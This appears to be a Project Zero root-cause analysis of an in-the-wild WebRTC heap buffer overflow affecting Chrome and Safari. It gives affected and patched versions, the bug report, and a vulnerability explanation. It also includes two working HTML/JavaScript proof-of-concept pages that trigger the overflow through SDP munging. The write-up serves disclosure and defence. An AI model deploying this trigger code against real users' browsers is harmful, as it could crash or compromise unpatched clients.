Natalie Silvanovich, Project Zero

The Basics

Disclosure or Patch Date: July 4, 2022

Product: WebRTC (in-the-wild exploitation targeted Chrome)

Advisory:

Affected Versions:

  • WebRTC July 1, 2022 or earlier (WebRTC does not have formal versioning)
  • Chrome pre-103.0.5060.114 and earlier
  • Safari 15.5 and earlier
  • This issue does not affect Firefox

The vulnerable library is also used by many mobile applications, but it is unclear whether the issue is exploitable. The bug is also only reachable in applications that use SDP munging or allow users to manipulate the SDP API. However, since SDP munging is fairly common, and use of the feature is typically not considered a security boundary by applications, we strongly recommend that all WebRTC users update their library to the most recent version.

First Patched Version:

  • Chrome: 103.0.5060.114
  • Safari: 15.6

Issue/Bug Report: https://bugs.chromium.org/p/chromium/issues/detail?id=1341043

Patch CL:

Both patches must be applied to fully remediate this issue:

Bug-Introducing CL: https://webrtc-review.googlesource.com/c/src/+/95488/

Reporter(s): Jan Vojtesek from the Avast Threat Intelligence

The Code

Proof-of-concept:

Chrome:

<html>
<head>
<script>

var canvas = document.createElement('canvas');

function createConnection() {
	var pc = new RTCPeerConnection({
			iceServers: [],
			iceTransportPolicy: 'relay'
	});
	
	var encodings = [];
	for (var i = 0; i < 2; i++) {
		encodings.push({ rid: String.fromCharCode(97 + i) });// rid must be alphabetic and unique
	}
	pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings });
	return pc;
}


function sdp_munge(offer) {
	let sdp = offer.sdp;
	sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, '');
	offer.sdp = sdp;
	return offer;
}


async function trigger(pc) {
	var pc = createConnection(); // create an WebRTC connection with
	var offer = await pc.createOffer(); // create an offer
	var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer
	await pc.setLocalDescription(munged_offer); // set the local description with the sdp
}


trigger();


</script>
</head>
</html>

Safari: Note that creating canvases for WebRTC with document.createElement is not supported in Safari. The PoC is otherwise the same.

<html>
<body><canvas id="myCanvas" width="200" height="100"></canvas>
<script>

var canvas = document.getElementById('myCanvas');

function createConnection() {
	var pc = new RTCPeerConnection({
			iceServers: [],
			iceTransportPolicy: 'relay'
	});
	
	var encodings = [];
	for (var i = 0; i < 2; i++) {
		encodings.push({ rid: String.fromCharCode(97 + i) });
	}
	var c = canvas.getContext("bitmaprenderer");
	console.log("test", canvas.captureStream());
	pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings });
	return pc;
}

function sdp_munge(offer) {
	let sdp = offer.sdp;
	sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, '');
	offer.sdp = sdp;
	return offer;
}

async function trigger(pc) {
	var pc = createConnection(); // create an WebRTC connection with
	var offer = await pc.createOffer(); // create an offer
	var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer
	await pc.setLocalDescription(munged_offer); // set the local description with the sdp
}


trigger();


</script>
</body>
</html>

Exploit sample: N/A

Access to the exploit sample? Yes

The Vulnerability

Bug class: Heap buffer overflow

Vulnerability details:

When a LocalConnection is created in WebRTC, it creates a vector that contains supported encodings. If the supported encodings are changed due to munging, a second vector is created with the current encodings. These vectors are then reconciled, which involves copying encoding properties between the vectors. If one is shorter than the other, due to the number of encodings supported being changed, a vector will be written out of bounds.

While removing an encoding was technically supported by the WebRTC API, it is uncommon for a real application to munge a local connection as opposed to the SDP sent to a remote one. The fix to this issue causes an error if an application attempts this.

Patch analysis:

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

Most likely code review, possibly involving analysis of past bugs, as CVE-2021-4079 is somewhat similar. It is unlikely that this bug was found in an automated fashion.

(Historical/present/future) context of bug:

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)

Exploit strategy (or strategies):

Exploit flow:

Known cases of the same exploit flow:

Part of an exploit chain?

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):

Found variants:

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

Ideas to kill the bug class:

Ideas to mitigate the exploit flow:

Other potential improvements:

SDP munging in JavaScript is not supported by the WebRTC specification, so removing browser support is a possibility, though practically, it is widely used across the web.

0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?

Other References